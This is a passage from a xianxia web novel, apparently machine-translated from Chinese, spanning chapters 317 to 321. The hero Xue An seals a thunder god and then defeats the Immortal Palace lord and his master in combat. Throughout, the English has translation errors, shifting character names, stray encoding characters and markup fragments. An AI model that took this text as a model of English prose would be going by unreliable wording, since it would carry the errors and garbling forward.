    And whenever the night is quiet, Bian Qingmu can''t help but think of Xue An.


    I don��t know how you are in Kunlun City!


    Your cultivation base is strong, but that is Kunlun City after all, the location of the fairy palace!


    Bian Qingmu sighed in her heart. She knew very well that Xue An was the reason why Qingmu Town was so prosperous.


    Because there are many people who have experienced Xue An''s methods, after knowing that Bian Qingmu and Xue An are familiar, they all deliberately welcome them.


    On this day, Bian Aoki is busy.


    What happened in Kunlun City was finally passed through the mouth of traders.


    Bian Aoki immediately put down all the affairs in his hands, and asked many insiders to ask.


    After hearing the whole matter, the discussion hall of Qingmu Town was completely quiet.


    Needless to say, those leaders, even Bian Aoki was pale.


    She couldn''t think that Xue An actually did so many earth-shattering things in such a short time!


    and Bian Tian said happily: "Master Xianshi, it is really amazing!"


    Whenever she talked about Master Xianshi, she always attracted a lot of joking glances and thought it was an exaggeration.


    But today, no one dared to have the slightest joking idea anymore.


    Side Aoki''s eyes flickered, and a worrisome rose in his heart.


    �ɹ��@...Will you just let it go?


    And when the outside world was making a lot of noise, Xue An disappeared from the sight of everyone and returned to Ji Shitang again!


    In the room, Xue An played with a gleaming soul.


    This is a trace of the incomplete fairy pattern of the emperor Hao Yuhuang who was beheaded by Xue An!


    Haoyu Emperor was only a little short of entering the half-step Golden Fairy list, because once he entered the Golden Fairy, the fairy grid became itself.


    So there is a little fairy in his body!


    After the soul flew away, this silk fairy fell into Xue An''s hands.


    Feeling the mighty power contained in the seemingly humble fairy, a faint smile appeared on Xue An''s face.


    The seal on An Yan needs to be broken by Xiange!


    Of course, Hao Yuhuang hasn''t become a golden fairy after all, this fairy is definitely not enough.


    Among the immortal palaces, at least one person is a real golden immortal!

 Chapter 317： The Lord of the Immortal Palace returns

    Thinking of this, Xue An couldn''t help but look forward to it.


    and then release the sealed Lei Zun with the other hand.


    Lei Zun has turned into a thing the size of a finger at this moment, kneeling in Xue An''s palm, begging for mercy with a horrified face.


    "Shang Xian, spare your life! Shang Xian, spare your life! I really didn''t know it was you who came here!"


    "Do you recognize me?" Xue An said lightly.


    This Lei Zun trembled all over, and then said in a trembled voice: "I don''t recognize it. Although your cultivation level is not high, your aura is more noble than the Thor Lord I have seen!"


    "Unless there is a possibility, that is that you are reincarnated as an immortal!"


    Xue An smiled, "You are quite smart!"


    Lei Zun accompanied and laughed a few times, "Master Shangxian, can you spare the little god..."


    Xue An shook his head, "See you are very interesting, so keep it! When I go back, I can make a toy for my daughter!"


    Lei Zun was stunned.


    what?


    Let dignified Lei Zun make toys?


    This is simply an insult to the Godhead!


    But Xue An narrowed his eyes slightly, "What? You disagree? Then I will refine you now!"


    Speaking, there were two white flames rising in Xue An''s eyes.


    "The Flame of the God Realm!" Lei Zun exclaimed, and his expression became extremely flattering.


    "How can I disagree! It is my honor to be a toy for the grandmaster''s daughter!"


    Xue An laughed, "You can be considered interesting! Don''t worry, I won''t kill you!"


    After that, Xue An changed hands and sealed it up again.


    Actually, Xue An had already arranged for this Lei Zun.


    This kind of gods naturally generated from heaven and earth are very rare treasures, but the most suitable thing to do is to become an instrumental spirit.


    After Xue An was about to return to the earth, he refined this Lei Zun into An Yan''s pan''s spirit.


    I don��t know how this Lei Zun would feel if he knew that he would actually become a pottery spirit in the future!


    At this moment, Zhu Ruyan said respectfully outside the door: "My lord!"


    "Come in!" Xue An said lightly.


    Zhu Ruyan walked into the room with hot tea in his hands.


    "Sir, please use tea!"


    Now Zhu Ruyan regards herself as Xue An''s little maid, and she takes care of everything.


    Xue An smiled, got up and sat at the table, drinking tea.


    Zhu Ruyan stood by, hesitating to say nothing.


    "What''s the matter?" Xue An said lightly.


    "My lord, don''t you plan to leave Kunlun?"


    "Of course I have to go, but not now!"


    "Oh!"


    After another silence, Zhu Ruyan whispered: "My lord, there is something I want to tell you. If you disagree, then treat it as I didn''t say it!"


    "what''s up?"


    Zhu Ruyan squeezed the corners of his clothes nervously, "When I left Kunlun City, thanks to the help of senior sisters and a few senior brothers, now they know you are my master and they all want to see you through me!"


    Xue An did not speak.


    Zhu Ruyan became more nervous, and stammered: "They said they just wanted to set up a banquet to entertain you. There is no other meaning! Sir, if you don''t want to go, I will go and reject them now!"


    Xue An nodded, "I''m going!"


    "Huh?" Zhu Ruyan didn''t react yet.


    "Isn''t it just a meal? It''s not bad to see the excitement!" Xue An said lightly.


    Zhu Ruyan looked happy, nodded and said: "Thank you, sir!"


    Zhu was excited to inform others.


    Without the fetters of hatred, this girl finally looks like an ordinary girl!


    Xue An smiled faintly. To this Zhu Ruyan, he only had some admiration and sympathy. She still did not give up in admiration for facing an enemy who was strong enough to be desperate.


    sympathize with, if she does not have herself, her life will be ruined by hatred.


    at dusk.


    in a high-end restaurant in the main city of Kunlun. r/>


    The banquet has already been prepared.


    Zhu Lei is chatting with a few seniors.


    "I wonder if Junior Sister Ruyan can invite this adult!" Zhu Lei said.


    "It should be possible, after all, being able to accompany you, it can be seen that this adult also values ??Ruyan very seriously!" said another senior.


    "Hey, it looks like, in the future, our junior sister Ruyan can be said to have reached the sky in one step!" Someone said with a narrow smile.


    As for Lu Xunxue, he just sat aside and didn''t speak.


    They all once worshipped a medical expert, so when it comes to relationships, they are all seniors!


    But these years, the relationship is not close.


    This time they gathered for Xue An, and Lu Xunxue even saw several people who had worked for the fairy palace among them, which seemed quite ironic.


    Besides, there are many people from the little school are also waiting.


    In fact, this is the real intention of Zhu Lei and others.


    invited Xue An to come, and it was nothing more than a meal.


    can reap so much kindness from the school!


    This is of great benefit to the future development of Zhu Lei and others in Kunlun.


    Lu Xunxue of course saw this, so he kept silent.


    "Sister Xunxue, this adult lives in your Jishitang, do you have any special hobbies?"


    Lu Xunxue frowned, and after thinking for a moment, she shook her head dejectedly, "I don''t know!"


    Since Xue An came back to Jishitang, he has basically stayed in the simple, and Lu Xunxue has rarely seen him.


    Even if I saw it, I just nodded slightly.


    Lu Xunxue suddenly remembered what Xue An had said. You should be thankful that you are Ruyan��s senior sister.


    Now that I think about it, this sentence really seems like a motto.


    If you weren''t Ruyan''s senior sister, I would have killed you long ago! Lu Xunxue thought silently.


    At this moment, footsteps came from outside the door.


    Zhu Ruyan walked in first, today she is all dressed up, and there is a rare brilliance on her face.


    Many people can''t help but look a little dumbfounded.


    But when Xue An walked in slowly, all eyes were on him.


    Almost everyone leaned forward and left their seats met an adult! "


    "I have seen the fairy master!"


    Such greetings are endless.


    Xue An''s face was indifferent, and he nodded slightly.


    Zhu Lei greeted him and bowed to salute.


    "My lord is here, I really wish someone an honor! Please come to your seat!"


    Xue An also did not refuse, and directly sat on the main seat.


    The atmosphere of the audience became a bit subtle.


    This Zhu Lei is also a good dancer with long sleeves. He often says a few jokes to liven up the atmosphere, and then toast frequently.


    In addition to nodding occasionally, Xue An does nothing but toast.


    After three rounds of wine, the atmosphere of the banquet gradually became warmer.


    These representatives from various sects all looked at Xue An with fierce gaze, and if they were bolder, they came over to toast.


    In this regard, Xue An only smiled slightly, and he also refused to come.


    Now, all these sects gathered around.


    And the people sent by various schools this time are basically all beautiful women.


    After all, Xue An''s revenge for Zhu Ruyan has made many people mistakenly believe that he is a lover of women.


    But when the atmosphere was reached, a person hurried over and said solemnly: "The Lord of the Immortal Palace is back!"

 Chapter 318： Tomorrow, I want to kill the immortals!

    This sentence left the audience completely silent.


    The originally warm atmosphere suddenly calmed down.


    Zhu Lei asked first: "Did you say anything?"


    The informant nodded, looked at Xue An hesitantly, and then said.


    "After Fu Wuliang, the lord of the fairy palace, returned, he was furious and sent a message. Tomorrow, let... let this adult go and die."


    boom!


    There was a commotion throughout the banquet.


    Many people looked at each other and saw the terror in each other''s eyes.


    No one thought that the Lord of the Immortal Palace would return so soon.


    And also named those who named the surname to kill Xue An.


    Now..., it is estimated that this man will not be able to break through.


    After all, that''s a golden fairy!


    What is the concept of Jinxian?


    In this vast Kunlun Wonderland, there are not a few, but not a few!


    And half-step immortals are not uncommon.


    Only longevity is considered valuable and can be a member of the party.


    The pinnacle of longevity can be said to be unparalleled!


    There are very few people who can truly enter the golden fairy!


    And Fu Wuliang, the lord of the fairy palace, is a true golden fairy!


    It can be said to be the supreme giant in Kunlun, a super master!


    Thinking of this, some people began to slip away silently.


    For them, if the immortal palace does not hold them accountable, then Xue An, who is so prestigious, is worth making friends with.


    But now, Xue An himself may be "preserving the day" and naturally loses the value of friendship.


    Moreover, if you stay here for a long time, if it attracts the grudge of Immortal Palace, it will be a disaster.


    With this thought in mind, most of the people at the banquet soon slipped away.


    Only Zhu Lei and others were still accompanied by embarrassment at the main table.


    But they are also thinking about ways to get out.


    Soon, Zhu Lei coughed twice.


    "Hehe, I didn''t expect that Lord Venerable would return so soon! It''s hard to say!"


    While saying this, Zhu Lei had been looking at Xue An with his eyes.


    I thought that Xue An would show panic on his face, but he didn''t expect Xue An to smile slightly.


    "It''s just right back. If he doesn''t come, I''m still looking for him."


    boom!


    Zhu Lei and the others looked stunned, looked at each other, and then they were all disapproving.


    In their opinion, Xue An is no longer arrogant.


    It''s simply overweight.


    So after a moment of pondering, Zhu Lei and others leaned and left their seats.


    "It happens that there is something urgent at home, so I won''t be able to accompany you!"


    After speaking, he left in a hurry.


    Before leaving, he didn''t even say hello to Zhu Ruyan.


    Seeing the backs of these people leaving hurriedly, Zhu Ruyan''s complexion was extremely ugly, and his eyes were red.


    In her opinion, Xue An is willing to come because of her own face.


    Unexpectedly, such an incident suddenly happened in the middle, and as a result, all these so-called senior brothers fled.


    This is simply hitting Zhu Ruyan''s face.


    "My lord!" Zhu Ruyan said infinitely wronged.


    Xue An smiled slightly and said lightly: "Just leave! Human nature is like this."


    At this moment, the originally lively restaurant hall was completely deserted.


    Only Xue An, Zhu Ruyan and Lu Xunxue were left.


    She didn''t leave either, but sat aside with a blank face.


    "Senior Sister Xunxue, what are you thinking?" Zhu Ruyan felt warm when seeing Lu Xunxue not leaving.


    After Lu Xunxue woke up, she smiled bitterly, "Nothing!"


    Then turned his head to look at Xue An, "My lord, I know that you are a Wushuang, but the other party has many people, I think, you should just take a break first!"


    Zhu Ruyan also nodded quickly.


    Although she has infinite trust in Xue An, she is also a little confused when facing the Lord of the Immortal Palace.


    Xue An was noncommittal, but picked up a glass of wine and drank it slowly before saying lightly: "Ruyan!"


    "in!"


    "Spread the message, tomorrow, I want to kill the immortals!"


    Zhu Ruyan trembled all over, and then looked at each other with Lu Xunxue, seeing the worry in each other''s eyes.


    Within half a day.


    The news of the return of Fu Wuliang, the lord of the fairy palace, spread throughout Kunlun City.


    After that, Fu Wuliang was furious, and the news that he was going to kill Xue An tomorrow spread even more.


    Everyone trembled at it.


    Everyone recalled the fear of being dominated by the fairy palace.


    And all the big family sects also learned the news for the first time.


    These people have mixed reactions, but basically no one is optimistic about Xue An.


    And Qianxuemen of Night Demon Palace, who suffered heavy losses, all rejoiced and thought Xue An was dead.


    There are still many people who think Xue An will definitely not face the battle and may find an excuse to run away.


    Unexpectedly, news of Xue An''s battle came immediately afterwards.


    Especially the sentence I want to kill the immortal tomorrow!


    It has caused a worldwide uproar.


    Nearly everyone thought Xue An was simply arrogant.


    Fairy palace.


    Fu Wuliang sat on the main hall, listening to his subordinates with a cold face.


    He is more than 40 years old, his complexion is pale golden, and his eyes are as deep as the sea. Sitting there, he is as majestic as the nine-day supreme of the emperor of the true dragon.


    After hearing the words of Zhanxian.


    Countless tiny sparks suddenly appeared in Fu Wushen''s body, and the whole hall was scorching hot.


    "Zhanxian? Haha! How long have I not heard this sentence?"


    The reporter lowered his head tremblingly.


    Suddenly, his head rose up into a flame, and after a miserable howl, the flame burned it to fly ash.


    This cruel scene made everyone in the hall silent.


    Fu Wuliang tapped the armrest of the seat lightly with his fingers, his face unhappy.


    "Although you are just repeating it, since you have said this sentence, it is damned!"


    "As for Xue An..."


    Two groups of golden flames appeared in Fu Wuliang''s eyes, "I want to burn you to death a little bit! Only to dispel my hatred!"


    Fu Wuliang really hated Xue An.


    When he returned this time, he found that the mountain guarding formation of the Immortal Palace had been broken, and the emperor he carefully cultivated had also fallen.


    These things made him angry!


    And there was a deep fear in my heart.


    In his opinion, if Xue An is not eliminated, it will become a major disaster!


    The second day.


    The atmosphere in Kunlun City became a little solemn.


    Many people dare not go to watch the excitement anymore and hide in their homes.


    But the stream of light above the sky never stopped.


    The whole Kunlun was shaken by this news.


    As long as they can come , they are almost there!


    Although Xiangong used to be domineering, but after all, he was a native of the country.


    Xue An came from the world.


    So many people want to see how Xue An lost.


    Waited outside the fairy palace.


    There were dozens of scattered immortals coming in and out, and this kind of momentum shocked many people.


    Hundreds of years of operation has made Immortal Palace''s strength unfathomable, but it is not revealed on weekdays.


    This time, it was for Xue An, and it was surly.


    "You said Xue An dare to come?" someone said.


    "I guess I ran away early! After all, that''s the golden immortal who crushes the world! If you come, isn''t it looking for death?"


    Just as these people were talking about it, they saw someone walking slowly on the empty street in the distance.

 Chapter 319： First Battle Jinxian

    This person is long and jade, with a calm complexion, the corners of his mouth are slightly raised, with an inexplicable smile, and his eyes are as bright and deep as stars.


    "It''s Xue An!"


    "He actually came!"


    There was a commotion among the onlookers, all a little unbelievable.


    Xue An slowly walked to the square, ignoring these people with different expressions.


    Instead, he looked up at the towering fairy palace and said lightly.


    "I''m coming!"


    The sound is not loud, but it shakes the wild!


    After a while, I saw the brilliance flickering in the fairy palace, dozens of scattered celestial beings rushing out, densely in the air, and then separated on both sides, standing with hands down!


    Then Fu Wuliang walked out of the fairy palace.


    Standing with his hands in his hands, his face indifferent, he slowly walked out of the void.


    There was no sound.


    Many people looked at Fu Wuliang with horrified eyes.


    Even the head of Yujian Villa, Wubocheng and the others who came after hearing the news had to step back a few steps and nod their heads to show their respect!


    This is the power of the golden fairy!


    Only Xue looked quietly, his face was neither sad nor happy.


    "Are you Xue An?" Fu Wuliang''s voice is not loud, but there is a majesty in it.


    Most people don''t want to talk about hands-on, just such a sentence, they are already timid.


    Xue An only showed good-looking teeth and smiled, "Yes, I am!"


    "Very well, since you dare to come, then I won''t torture you anymore, just give you a good time!" Fu Wuliang said lightly.


    At this time, Zhu Ruyan behind Xue An was even more nervous than Xue An, especially the power of the immeasurable Golden Immortal, which was not something a weak woman like her could bear.


    Was trembling slightly, struggling to support.


    Xue An patted her shoulder gently.


    After a sword gesture passed, Zhu Ruyan suddenly relaxed a lot, and then gave Xue An a grateful look.


    Then Xue An turned his head to look at Fu Wuliang, "I also give you a chance, now kneel down, I can spare you your soul!"


    This sentence caused an uproar.


    By this time, Xue An actually dared to be so arrogant.


    Many people simply cannot imagine what Xue An thinks.


    Fu Wuliang''s eyes grew cold, and a bitter murderous aura appeared on his face.


    "This is your own death, don''t say I didn''t give you a chance!"


    Xue An smiled faintly, "If you want to fight, you will fight! With so much nonsense, I really think that I am a golden fairy, so I can be invincible? In my eyes, you are no more than ant grass!"


    Xue An''s words finally angered Fu Wuliang, "Twelve Fire Guards, kill him!"


    Following his order, twelve extremely powerful guards rushed like ghosts, formed a mysterious formation, and went straight to Xue An.


    Twelve Fire Guards!


    Follow Fu Wuliang''s brilliant men for many years!


    All of them were Sanxian cultivation bases, and they were good at formation and combined attack, and there were several Changsheng who died under them.


    From Wu Wuliang''s point of view, Xue An''s cultivation base was only half a long life, and he didn''t need to do anything at all. The Twelve Fire Guards were enough to clean him up.


    But the triumph in the corner of his mouth had just surfaced, and it solidified.


    Seeing the twelve fire guards just rushed to the front, Xue An raised his hand and punched directly.


    boom!


    An invisible shock wave spread, and the twelve fire guards snorted together before being directly blasted back, and all vomited blood and fell to the ground.


    With one punch, the Twelve Fire Guards were defeated.


    This hand shocked many people.


    "He seems... stronger than the day of the trial!" Feibai muttered to himself.


    After hearing Feibai''s words, Wu Bocheng''s expression became more solemn.


    If his strength grew so fast, it would be terrifying.


    "The fanatical suffer!" Seeing his bodyguard didn''t even hold Xue An with a punch, Fu Wuliang was finally angry!


    As soon as he stretched out his hand, a fiercely burning golden flame rushed over.


    Although some distance away, but still can feel the scorching heat wave.


    "Crimson Flame! God, no wonder the Venerable has not been in the Immortal Palace. It turned out to be looking for this kind of divine flame!" someone exclaimed.


    More people sink in their hearts.


    This red gold flame is an extremely fierce flame, which can directly burn the soul of a person, extremely vicious and cruel.


    Xue An faced the surging Chi Jin Yan, but a playful smile appeared at the corner of his mouth, and he did not even dodge.


    Many people are a little surprised, what is Xue An planning to do?


    If you don''t dodge, is it going to die?


    But at the moment when the Chi Jin Yan touched Xue An, these already aggressive flames suddenly became docile.


    Then Xue An raised his hand and these flames turned into a ray of flame in his palm.


    "This... how is this possible!"


    Seeing this scene, countless people were shocked.


    Fu Wuliang also sank.


    He could feel that these flames had lost contact with himself.


    Could it be that he has some strange treasures on his body, can he not be afraid of these flames?


    Fu Wuliang was a little surprised.


    Xue An played with the flame and said lightly: "Playing with fire in front of me, are you kidding me?"


    "Today, let you see what is the ancestor of playing with fire!"


    After all, Xue An took a step forward.


    boom!


    Strands of white flames appeared in the air.


    Fu Wuliang, who was originally Gujing Bubo, finally shook, and exclaimed, "God... the flame of the gods?"


    "You know the goods!"


    With that, the flames of these gods rushed straight down infinitely.


    Fu Wuliang''s complexion was uncertain, but greed appeared in his eyes.


    His major is Dahuo Lingjue, and the best way to improve his cultivation level is to find all kinds of rare flames.


    For example, this Chi Jin Yan was a kind of strange fire that he had found after painstaking efforts.


    But compared with the flames of the gods, it was nothing to mention.


    If you kill Xue An and seize the fire, it will have infinite benefits for your cultivation.


    Thinking of this, Fu Wuliang grinned.


    "Since you took the initiative to deliver it, then I will laugh at it!"


    After all, Fu Wuliang put his hands together, "Fu!"


    The flames of these gods were frozen in midair.


    Fu Wuliang laughed, "Thank you for your generous gift! But I still want to kill you!"


    Having said that, it is necessary to swallow the flames of these gods.


    But as soon as the fingers touched , the flames of the gods that had been surrendered by the technique of ambush fire suddenly became active again, and began to spread upward along his fingers.


    Wherever you go, there is fly ash!


    "how is this possible!"


    Fu Wuliang was shocked, snapped that finger off quickly, and looked at Xue An with a gloomy expression.


    "What did you move?"


    Xue An smiled faintly, "Do your hands and feet? What do I use to deal with you?"


    The first temptation of the two parties ended up with a huge loss.


    Many people stared dumbfounded.


    I couldn''t believe my eyes.


    Fu Wuliang''s complexion gradually became serious.


    This Xue An is more difficult to deal with than he thought!

 Chapter 320： Punch the Buddha

    "I admit, I underestimated you!" Fu Wuliang said lightly, and the whole person gradually floated in the air.


    "But you don''t understand. Although Jinxian and Changsheng are only one realm away, the difference... is more than a hundred times!"


    With the voice, countless flames appeared around Fu Wuyi, and a powerful momentum enveloped the audience.


    People who are close only feel that their cultivation base is fluctuating.


    "It''s the Golden Immortal Realm!" someone exclaimed.


    Once you enter the golden fairy, you can partly use the rules of heaven and earth.


    In its domain, the cultivation strength of the opponents has been suppressed to the lowest level, which can be described as a treasure for controlling the enemy!


    "Now hand over the fire, I can leave you a ray of soul!" Fu Wuliang stood in the air, his voice majestic like a god.


    Xue An laughed, "I have been skeptical just now, but now it is finally clear!"


    "It turns out that you, the golden fairy, are really incomplete!"


    This sentence made many people look at each other.


    incomplete?


    What do you mean?


    Fu Wuliang was suddenly discolored!


    At first, he stopped at half a step Jinxian, just unable to deposit.


    Just when he was desperate, it happened that a venerable person in the fairy palace was about to fall.


    He transferred his Xiange to Fu Wuliang.


    Relying on this inherited fairy, he was considered to have broken through to the golden fairyland.


    But after all, it was the inherited fairy, far inferior to the condensed oneself.


    Therefore, his golden immortal is flawed.


    But this is a secret hidden deep in his heart, and has never been told to outsiders!


    Can this man actually tell?


    Who is he?


    "Don''t doubt why I know, I know more than you think!" Xue An said lightly.


    Fu Wuliang is murderous, this son must not be left!


    Therefore he shouted angrily, "No matter who you are, you will definitely die today! Golden Lotus!"


    boom!


    The flames surrounding the body quickly began to fuse, and then turned into blossoming golden lotus flowers.


    Each one exudes incomparable murderous intent.


    "It''s getting more and more interesting!" Xue An said lightly.


    "I suspect you are deliberately giving me a chance, otherwise, why do you always choose my favorite tricks?"


    Many people don''t understand what Xue An said.


    Including Fu Wuliang, when he heard Xue An''s words, he couldn''t help but snorted coldly, "Fantasy! Go!"


    boom!


    These golden lotus went straight to Xue An.


    Xue An raised his hand and said faintly: "Karma...Red Lotus!"


    boom!


    A bright red red lotus appeared in the palm of Xue An''s palm, and it expanded rapidly, and it bloomed in the blink of an eye.


    After seeing this red lotus, these golden lotus rushing violently stopped, and then all bowed their heads just like seeing an extremely noble king.


    Worship the Red Lotus!


    This scene made everyone stunned.


    "Now, it''s me!"


    Xue An took a step forward and suddenly disappeared in place. When he reappeared, he had already come to Fu Wuliang. With a wave of Red Lotus in his hand, Fu Wuliang was enveloped.


    The raging fire swallowed him instantly.


    In the flames, Fu Wuliang shouted in horror, "How could you have this kind of flame?"


    Xue An lightly said: "How can it be impossible? Blame you to play with fire in front of me!"


    From the beginning, Fu Wuliang was suppressed by Xue An.


    Just because he is actually a fire repairman.


    But for Xue An, who was wearing two kinds of divine flames, this was simply a gift.


    There was no sound in the karma fire soon.


    Many people wondered, could Wu Wuliang be dead?


    An extremely angry voice came from the sky, "Xue An, I will break your body into pieces!"


    With that, Fu Wuliang raised his hand, and the twelve fire guards on the ground screamed and turned into fly ash.


    And their cultivation bases all turned into streamers, flying into the boundless body in midair.


    Xue An raised his eyebrows slightly, "I am not able to cast a blood curse on my guard, but his mind is vicious!"


    Fu Wuliang Jiejie laughed strangely, and the whole person''s momentum began to climb wildly.


    "They are just a dog I kept. I use them now, so why not kill them? It''s you, who actually caused me to lose a treasure! This time, I want you to understand what the end of angering a golden fairy is!"


    Fu Wuliang had just been swallowed by the fire of karma, and the body of the golden immortal couldn''t resist this kind of divine flame. In fear, he had to use the treasure of life protection before he escaped.


    But this also made him feel very distressed, and naturally counted all the accounts on Xue An''s head.


    Fu Wuliang smiled and slowly raised his fist.


    "Let you see the real magical powers! Buddha!"


    Xiange Yicheng, supernatural powers are born!


    Fu Wuliang finally used Jinxian''s strongest ultimate move, supernatural power!


    boom!


    Everything around Xue An''s body was locked, even the fluttering hair was frozen.


    To outsiders, Xue An seemed to suddenly become a statue, and even the look in his eyes disappeared.


    "My lord!" Zhu Ruyan cried out in shock.


    The sect family members who were watching were all relieved.


    In their perception, Xue An''s breath disappeared.


    That means that under this golden immortal power, he ultimately failed and died.


    Fu Wuliang, the lord of the fairy palace, once again proved his invincibility with facts!


    Only Feibai''s eyes flickered slightly, not knowing what he was thinking.


    Fu Wuliang was still angry at this time, he was so embarrassed just now that he even used his life-saving treasure.


    Xue An died just like that, and it was hard to dispel his hatred.


    In a moment, I will extract all your soul, and then find out the flame of God!


    Fu Wuliang was gritting his teeth thinking.


    There was a faint click.


    Everyone was stunned.


    Zhu Ruyan, who was sobbing, also heard it, and couldn''t help but look up.


    Seeing Xue An who was like a statue in the air, his fingers began to move gradually, and then his eyelids blinked.


    boom!


    He who was in the town of the Buddha, returned to normal.


    Fu Wuliang was so startled that his eyes almost fell out.


    "How could this happen! How could you break the Buddha statue?"


    At this time, Xue An rose up with a strong momentum.


    He is also angry now, so he said coldly: "Fotu? Haha, let me break it with a punch!"


    After all, Xue An raised his fist and blasted out!


    Click!


    After a terrible and earth-shattering sound, Xue An completely smashed the buddha that trapped him, and then went straight to the boundless.


    Before Fu Wuliang awoke from his surprise, Xue An had already rushed to the front.


    "Do not!"


    Fu Wuliang had only time to shout out such a word Xue An had already blasted him a few miles away with a punch.


    Without waiting for his body to stop, Xue An had already appeared behind him and blasted out another punch.


    Boom!


    Xue An seemed to be playing a ball, fighting Fu Wuliang without fighting back.


    Seeing this scene, everyone was speechless.


    Who would have thought that even the Lord of the Immortal Palace was not Xue An''s opponent?


    At this time, Xue An''s palm rose into a karma fire, and said coldly: "I said, today I want to kill immortals!"


    After saying this, a punch was blasted out.


    "Master, help!" Fu Wuliang was finally terrified and shouted.


    Just when Xue An''s fist was about to hit Fu Wuliang.


    A sigh came from the fairy palace.


    "Why is this fellow Daoist?"

 Chapter 321： Sir, I will help you cut the immortal

    With a sigh, an old man in black appeared in front of the fairy palace.


    After seeing him, Wu Bocheng and others all trembled, and then shouted in disbelief: "Venerable Danxin!"


    Venerable Danxin nodded and smiled at everyone, "I didn''t expect that after so many years, there are still people who remember me as a dying old man!"


    Wu Bocheng and others bowed their hands with solemn expressions, "I have seen seniors!"


    Venerable Danxin was the lord of the immortal palace hundreds of years ago, and he was much higher than them in terms of seniority.


    Unexpectedly, he was still alive.


    Now, this Xue An is really going to die.


    Everyone is thinking.


    Venerable Danxin smiled at Xue An, "Little Daoist, your talent is really the first person I have ever seen in my life, and you can defeat me as a bad guy with half a step of longevity!"


    Seeing his master coming out at this moment, Fu Wuliang couldn''t help but let out a sigh of relief. He glanced at Xue An with some pride, thinking that you are dead now!


    But facing this big man hundreds of years ago, Xue An still looked indifferent, and said coldly: "Is it finally willing to come out?"


    A strange color flashed across the face of Venerable Danxin, "Little Daoists know that I exist?"


    Xue An said indifferently: "I knew it from the beginning! What? Your apprentice was defeated, you came out to save him?"


    Venerable Danxin smiled, "It''s not a big deal. It''s better to let me be a bad fellow, and I will prepare boiled wine in the fairy palace. How about making friends?"


    boom!


    After hearing this sentence, everyone was shocked.


    The existence of Venerable Danxin is so polite to Xue An?


    Even Fu Wuliang was a little surprised. He didn''t understand what happened to his grumpy master today?


    But what everyone did not expect was that Xue An shook his head, "Make friends with me...Are you worthy?"


    As soon as this sentence came out, the audience was silent.


    Venerable Danxin''s expression sank, "Little Taoist friend, what do you mean by this?"


    Xue An smiled faintly, "To tell you the truth, I am here to destroy both of you this time!"


    After all, Xue An''s fire in his hands boiled and directly swallowed Fu Wuliang.


    "Don''t... Master save..." I didn''t finish the following words.


    Xue An''s strong karma has already burned Wu Yi''s body.


    A brilliant streamer suddenly appeared, and then he was about to flee.


    It is the fairy of Fu Wuliang!


    Xue An grabbed it, a smile appeared at the corner of his mouth, and then sealed it.


    The more fairy tales, the more sure you can break the seal on Yan''er.


    All this happened extremely quickly, and Venerable Dan Xin didn''t react. Xue An had already killed Fu Wuliang and sealed Xiange.


    Seeing this scene, Venerable Danxin finally couldn''t maintain the indifferent and superior demeanor, and said angrily: "Xue An, you just kill my disciple''s body, why do you want to seal him?"


    Xiange is the most precious thing for a golden fairy. As long as the fairy is immortal, there is still a chance to be reborn!


    "Because I need it, and it''s not just him! Even you can''t run today!" Xue An said, his whole body soaring into the sky, and his karma was boiling, and he came straight to Venerable Danxin.


    Venerable Danxin was also a little frightened at this moment.


    He really couldn''t understand Xue An''s origins, and the methods Xue An just revealed were too terrifying.


    But now Xue An rushed, he couldn''t help but said angrily: "I really thought I was afraid of you not?"


    With that said, Venerable Danxin took a step, "Inner Demon!"


    Venerable Danxin''s cultivation base is much stronger than Fu Wuliang, and he is still a condensed fairy, a flawless golden immortal.


    So this Jinxian supernatural power is a hundred times more powerful than Fu Wuliang.


    The demons came out.


    Then Xue An was enveloped in it.


    Venerable Danxin laughed triumphantly, "Xue An, you are still too young, and you are in my plan!"


    Venerable Dan Xin began to show weakness from the beginning, just waiting for such an opportunity.


    His magical powers appear to be weak, but it is extremely powerful.


    It is a kind of magical power that directly points to the depths of people''s hearts.


    Especially in the view of Venerable Dan Xin, Xue An has such a strong cultivation base at such a young age, and his Dao Heart is definitely not stable.


    As soon as this demon comes out, his cultivation will be broken!


    But his pride just lasted for a few breaths, and he saw Xue An using his hand as a sword to pierce the black mist that enveloped him and walk out of it.


    "Wh...what''s going on? Why are you not even afraid of the demons?" Venerable Danxin was shocked.


    Xue An said indifferently: "Because I have a Dao heart, as solid as a rock!"


    Venerable Dan Xin had no idea what Xue An had experienced.


    Three thousand years of arduous cultivation has allowed Xue An to cultivate a Taoist heart almost flawlessly.


    Although when he finally entered the realm of saints, he fell because of his obsession with An Yan.


    But because Xue An returned from rebirth, An Yan and his two daughters were recovered, and all the original shortcomings were made up.


    Therefore, Xue An now has a clear heart and no flaws.


    Venerable Danxin''s heart demon has no effect on him!


    Venerable Danxin''s gaze flickered a few times, then gritted his teeth, "Very well, you are not an ordinary person, but you still want to die!"


    With that, Venerable Danxin''s whole aura was finally released.


    "Golden Immortal Peak!" Wu Book City exclaimed, his complexion pale because of the mighty power.


    The most powerful cultivator in Kunlun Wonderland finally appeared.


    Venerable Danxin was expressionless at this moment, his expression was as arrogant as a nine-day emperor, and the world seemed to be under his feet.


    "Xue An, you can force me to use such power, it is enough to be proud!" Venerable Dan Xin said majesticly.


    Xue An was not afraid at all, but a faint smile appeared at the corner of his mouth.


    "After the seal is lifted, it is estimated that you won''t be able to live long before you will die!"


    Xue An''s words made Venerable Danxin furious.


    "Sure enough, you know everything, don''t worry, I won''t fall this time, your cultivation base and talent are so powerful, I just happen to take your physical body!"


    Venerable Danxin grinned, showing from the top, with a punch.


    It seemed that even the space was shattered by this punch, and the punch appeared directly on Xue An''s head.


    Xue An couldn''t help showing a solemn look on his face.


    This will be the strongest enemy he has faced since his return.


    "Fist, surprise!" Xue An yelled, and also threw a punch.


    There was no sound, and the fight between the two was like two mortals saying hello.


    But after a few breaths, Xue An suddenly withdrew a few steps away.


    The figure of Venerable Danxin also shook.


    How can you beat Jinxian Peak like this? How powerful is this Xue An?


    The many family sects were all dumbfounded.


    This battle has been out of their scope.


    "Xue An, you are indeed very powerful, but the more you are like this, the more I will kill you! Only by occupying your body can I hope to break through this **** golden fairy! So go to die!" Venerable Danxin''s expression They all became savage because of greed, and they threw out another punch.


    The momentum of this punch is several times stronger than just now!


    Wherever he went, the space creaked, seemed to be unable to support such a powerful force, it was about to break!


    boom!


    at last.


    Xue An was backed more than a dozen steps by this punch, and his face turned pale.


    "Xue An I think you can survive a few punches!" Venerable Dan Xin said with a big smile, his aura becoming more and more majestic.


    Everyone thinks Xue An will be defeated!


    Zhu Ruyan in the distance was pale.


    Your lord... Is your lord going to lose?


